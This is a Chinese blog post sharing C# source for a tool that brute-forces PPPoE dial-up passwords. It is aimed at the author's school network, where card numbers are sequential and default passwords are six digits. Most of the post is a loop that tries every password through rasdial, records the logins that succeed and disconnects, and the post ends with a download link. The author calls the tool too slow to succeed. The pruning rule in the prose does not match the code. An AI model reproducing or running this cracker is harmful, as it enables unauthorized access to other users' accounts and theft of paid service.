现在的位置: 首页 > 综合 > 正文

简单的PPPoE爆破程序。

2013年02月11日 ⁄ 综合 ⁄ 共 3568字 ⁄ 字号 评论关闭
    这是一个暴力破解PPPoE密码的小工具。
    由于我们学校是通过上网卡计时上网的,卡号又是在同一个段上的,默认密码又都是六位的数字。所以就产生了这样的想法。不过这个程序最终还是不能实现这个功能。因为速度是在是太慢了,每秒尝试一个到两个密码。不过还是可以把这里东西拿出来一起分享一下的,主要是分享思路。
    先说说要用到的东西。
    本来是想通过代码来实现RAS连接的。但不知为什么,我找来的代码不能使用。所以,就用了一个非常简单的方法:RasDial.exe。
    这个小工具可以在命令提示符里输入“RasDial /?”查看到相应的帮助:
    用法:
       rasdial entryname [username [password
|*]] [/DOMAIN:domain]
               [
/PHONE:phonenumber] [/CALLBACK:callbacknumber]
               [
/PHONEBOOK:phonebookfile] [/PREFIXSUFFIX]

       rasdial [entryname] 
/DISCONNECT

       rasdial

    命令已完成。

    很显然,通过“RasDial.exe”就可以实现我想要的功能。    为了得道“RasDial”的执行结果,要得道它的管道输出结果。具体的方法是把“ProcessStartInfo”的“RedirectStandardOutput”属性设置为“True”。这样就可以通过“StandardOutput”属性获取管道输出的结果了。
    再说说思路吧。
    开始要得到一个要破解的号码段。然后的工作就是爆破了。就是一个一个密码的尝试。不过在这里发现了一个小小的剪枝:密码里单个字符出现两次或两次以上的都可以Jump掉这个密码。
    下面就是最核心部分的代码了。很简单,直接就能看懂。这里就不用废话了。

            public void Cr()
        
{
            exch.Done 
= false;
            
//exch是一个静态类,用于和主线程的信息交换。
            close = false;
            ProcessStartInfo info;
            
int[] chk = new int[10];
            
bool jump;
            
for (int cur = Beg; cur <= End; cur++)
            
{
                
if (close) break;
                
for (int psw = 0; psw < 1000000; psw++)
                
{
                    
if (close) break;
                    exch.CurrStr 
= string.Format(Cov, cur) + string.Format(" {0:D6}", psw);
                    
//Cov是一个string,记录的是字段的格式。
                    while (exch.isPause) Thread.Sleep(100);

                    
//Jump Password
                    for (int i = 0; i < 10; i++) chk[i] = 0;
                    
for (int i = 0, ckpsw = psw; i < 6; i++)
                    
{
                        chk[ckpsw 
% 10]++;
                        ckpsw 
/= 10;
                    }

                    jump 
= false;
                    
for (int i = 0; i < 10; i++)
                        
if (chk[i] > 2)
                        
{
                            jump 
= true;
                            
break;
                        }

                    
if (jump) continue;

                    info 
= new ProcessStartInfo("rasdial");
                    info.Arguments 
= string.Format(exec, cur, psw);
                    info.WorkingDirectory 
= Environment.GetEnvironmentVariable("windir"+ "/system32/";
                    info.CreateNoWindow 
= true;
                    info.RedirectStandardOutput 
= true;
                    info.UseShellExecute 
= false;
                    
string re = Process.Start(info).StandardOutput.ReadToEnd();
                    
if (re.IndexOf("正在网络上注册您的计算机"!= -1)
                    
{
                        dd 
= delegate
                        
{
                            ResultText.Text 
+= string.Format(exec, cur, psw).Substring(7+ " ";
                        }
;
                        ResultText.Invoke(dd);
                        
//连接成功之后,马上断掉。继续下一个尝试。
                        info = new ProcessStartInfo("rasdial");
                        info.Arguments 
= " /disconnect";
                        info.WorkingDirectory 
= Environment.GetEnvironmentVariable("windir"+ "/system32/";
                        info.CreateNoWindow 
= true;
                        info.RedirectStandardOutput 
= true;
                        info.UseShellExecute 
= false;
                        Process.Start(info);
                        
break;
                    }

                }

                exch.CurrInt 
= cur - Beg + 1;
                exch.CurrStr 
= string.Format(Cov, cur);
            }

            exch.Done 
= true;
            exch.CurrStr 
= "已完成";
            exch.CurrInt 
= 0;
        }

    点击这里下载打包程序。

抱歉!评论已关闭.